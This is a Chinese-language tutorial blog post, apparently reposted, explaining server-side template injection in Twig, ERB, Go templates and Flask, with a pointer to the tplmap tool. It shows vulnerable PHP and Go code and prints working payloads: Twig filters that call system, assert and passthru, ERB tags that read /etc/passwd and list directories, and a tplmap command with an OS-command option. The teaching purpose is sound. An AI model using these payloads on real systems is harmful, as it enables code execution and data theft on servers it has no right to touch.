
SSTI 簡介
MVC
MVC是一種框架型模式,全名是Model View Controller,
即模型(model)-視圖(view)-控制器(controller)
在MVC的指導下開發中用一種業務邏輯、資料、界面顯示分離的方法組織代碼,將業務邏輯聚集到一個部件里面,在改進和個性化定制界面及用戶互動的同時,得到更好的開發和維護效率,
在MVC框架中,用戶的輸入通過 View 接收,交給 Controller ,然后由 Controller 呼叫 Model 或者其他的 Controller 進行處理,最后再回傳給 View ,這樣就最終顯示在我們的面前了,那么這里的 View 中就會大量地用到一種叫做模板的技術,
繞過服務端接收了用戶的惡意輸入以后,未經任何處理就將其作為 Web 應用模板內容的一部分,而模板引擎在進行目標編譯渲染的程序中,執行了用戶插入的可以破壞模板的陳述句,就會導致敏感資訊泄露、代碼執行、GetShell 等問題.
雖然市面上關于SSTI的題大都出在python上,但是這種攻擊方式請不要認為只存在于 Python 中,凡是使用模板的地方都可能會出現 SSTI 的問題,SSTI 不屬于任何一種語言,
常見的模板引擎和注入漏洞
Twig(PHP)
首先以Twig模板引擎介紹SSTI,很多時候,SSTI發生在直接將用戶輸入作為模板,比如下面的代碼
<?php
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
createTemplate時注入了$_GET[‘name’],就會引發SSTI
而如下代碼則不會,因為模板引擎決議的是字串常量中的{{name}},而不是動態拼接的$_GET[“name”]
<?php
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
echo $twig->render('index', array("name" => $_GET["name"]));
而對于模板引擎的利用,往往是借助模板中的一些方法實作攻擊目的,比如Twig中的過濾器map

舉個經典的例子
{{[“man”]|map((arg)=>“hello #{arg}”)}}
會被編譯成下面這樣
twig_array_map([0 => “id”], function (KaTeX parse error: Expected group after '_' at position 1: _?_arg__) use (context, $macros) { $context[“arg”] = KaTeX parse error: Expected group after '_' at position 1: _?_arg__; return …context[“arg”] ?? null))
關于這個twig_array_map,原始碼中是這樣的

可以看到傳入的$arrow被當作函式執行,那么可以不傳arrow function,可以只傳一個字串,找個兩個引數的能夠命令執行的危險函式即可
比如
{{["id"]|map("system")|join(",")}}
{{["phpinfo();"]|map("assert")|join(",")}}
{{["id", 0]|map("passthru")}}
類似的,我們還可以找到一些其他的過濾器sort,filiter,網上也有較多介紹,就不再贅述了,
當然,SSTI還有一種基礎的利用方式就是用來泄露原始碼和程式環境中的背景關系資訊,在Twig引擎中,我們可以通過下面方法獲得一些關于當前應用的資訊
{{_self}} #指向當前應用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
ERB(Ruby)
相較于Twig,ERB的代碼直接提供了一些命令執行的介面,比如
<%= system("whoami") %>
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
這里提起他主要是引出模板標簽的一些分類
比如這里的ERB模板標簽使用<%= %>,Twig使用{{}},根據一些簡單的poc和標簽的分類,我們可以快速識別出是否存在模板漏洞以及所使用的模板引擎技術

當然有些模板引擎的標簽是可以自定義的,上面列出的只是默認情況
Golang SSTI
關于Golang Template的SSTI研究目前來說還比較少,可能是因為本身設計的也比較安全,
不過通過{{.}}我們可以獲得到作用域

比如在下面這個例子中
package main
import (
"html/template"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
//var name = ""
r.ParseForm() // Parses the request body
x := r.Form.Get("name")
var test map[string]interface{}
test = make(map[string]interface{})
var secret map[string]interface{}
secret = make(map[string]interface{})
flag := "flag{testflag}"
secret["flag"] = &flag
test["secret"] = secret
var tmpl = `<!DOCTYPE html><html><body>
<form action="/" method="post">
First name:<br>
<input type="text" name="name" value="">
<input type="submit" value="Submit">
</form><p>` + x + ` </p></body></html>`
t := template.New("main") //name of the template is main
t, _ = t.Parse(tmpl) // parsing of template string
t.Execute(w, test)
}
func main() {
server := http.Server{
Addr: "0.0.0.0:5090",
}
http.HandleFunc("/", handler)
server.ListenAndServe()
}
可以獲取到作用域物件

進一步可以獲得flag

甚至如果在作用域中存在可以利用的函式,我們還可以呼叫該函式完成攻擊,比如
type User struct {
ID int
Email string
Password string
}
func (u User) System(test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
就有

Flask/Jinja
這個引擎應該是出鏡率最高的了,能寫的東西也很多,由于篇幅所限,具體內容會在(下)中展開記錄,
常用檢測工具 Tplmap
工具地址:https://github.com/epinna/tplmap
和sqlmap的設計風格一致,直接懟就行
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'
總結
SSTI在MVC架構中是經常出現的一類問題,除去本文中介紹的幾個引擎,還有許多受影響的引擎,比如Velocity 等,該問題主要是由于開發者直接將用戶輸入作為模板交給模板引擎渲染導致的,將用戶輸入系結到模板的引數中可以緩解這一問題,通過SSTI,我們往往可以獲取到程式運行的背景關系環境,甚至利用模板引擎的內置方法完成遠程代碼注入等高危攻擊,
我整理了網路安全的學習資料與指導書籍
吃碗面壓壓驚

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/291181.html
標籤:其他
